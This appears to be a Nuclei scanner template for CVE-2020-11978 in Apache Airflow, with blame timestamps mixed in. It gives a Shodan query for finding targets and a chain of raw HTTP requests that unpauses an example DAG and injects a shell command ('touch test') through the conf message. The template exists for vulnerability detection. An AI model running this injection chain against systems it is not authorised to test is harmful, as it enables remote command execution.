2021-06-03 08:27:09 +00:00
id : CVE-2020-11978
2022-04-22 10:38:41 +00:00
2021-06-03 08:27:09 +00:00
info :
name : Apache Airflow <= 1.10.10 - 'Example Dag' Remote Code Execution
author : pdteam
severity : high
2022-05-17 09:18:12 +00:00
description : An issue was found in Apache Airflow versions 1.10.10 and below. A remote code/command injection vulnerability was discovered in one of the example DAGs shipped with Airflow which would allow any authenticated user to run arbitrary commands as the user running airflow worker/scheduler (depending on the executor in use). If you already have examples disabled by setting load_examples=False in the config then you are not vulnerable.
2021-08-18 11:37:49 +00:00
reference :
2021-08-19 14:44:46 +00:00
- https://github.com/pberba/CVE-2020-11978
- https://nvd.nist.gov/vuln/detail/CVE-2020-11978
- https://twitter.com/wugeej/status/1400336603604668418
2022-05-17 09:18:12 +00:00
- https://lists.apache.org/thread.html/r7255cf0be3566f23a768e2a04b40fb09e52fcd1872695428ba9afe91%40%3Cusers.airflow.apache.org%3E
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 8.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2020-11978
cwe-id : CWE-77
2022-05-12 14:18:36 +00:00
metadata :
shodan-query : http.html:"Apache Airflow" || title:"Airflow - DAGs"
2022-06-16 04:52:10 +00:00
verified : "true"
2022-06-16 04:35:56 +00:00
tags : cve,cve2020,apache,airflow,rce,cisa
2021-06-03 08:27:09 +00:00
requests :
- raw :
- |
GET /api/experimental/test HTTP/1.1
Host : {{Hostname}}
Accept : */*
- |
GET /api/experimental/dags/example_trigger_target_dag/paused/false HTTP/1.1
Host : {{Hostname}}
Accept : */*
- |
POST /api/experimental/dags/example_trigger_target_dag/dag_runs HTTP/1.1
Host : {{Hostname}}
Accept : */*
Content-Type : application/json
{"conf": {"message": "\"; touch test #" }}
- |
GET /api/experimental/dags/example_trigger_target_dag/dag_runs/{{exec_date}}/tasks/bash_task HTTP/1.1
Host : {{Hostname}}
Accept : */*
extractors :
- type : regex
name : exec_date
part : body
group : 1
internal : true
regex :
- '"execution_date":"([0-9-A-Z:+]+)"'
req-condition : true
matchers-condition : and
matchers :
- type : dsl
dsl :
- 'contains(body_4, "operator":"BashOperator")'
- 'contains(all_headers_4, "application/json")'
2022-06-16 04:33:41 +00:00
condition : and